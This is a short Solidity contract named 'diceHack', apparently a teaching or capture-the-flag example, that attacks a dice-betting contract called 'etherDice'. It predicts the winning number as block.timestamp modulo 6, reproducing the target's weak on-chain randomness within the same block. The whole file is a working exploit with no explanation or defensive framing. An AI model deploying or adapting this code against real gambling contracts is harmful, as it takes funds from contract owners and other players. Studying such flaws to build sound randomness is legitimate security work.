pragma solidity >=0.4.22 <0.6.0; interface etherDice { function bet(uint _number) external payable returns(bool); } contract diceHack { etherDice dice; constructor (address _etherDice) public { dice = etherDice(_etherDice); } function bet() public payable { uint number = block.timestamp % 6; dice.bet.value(msg.value)(number); } function getBalance() public view returns(uint) { return address(this).balance; } function () external payable { } }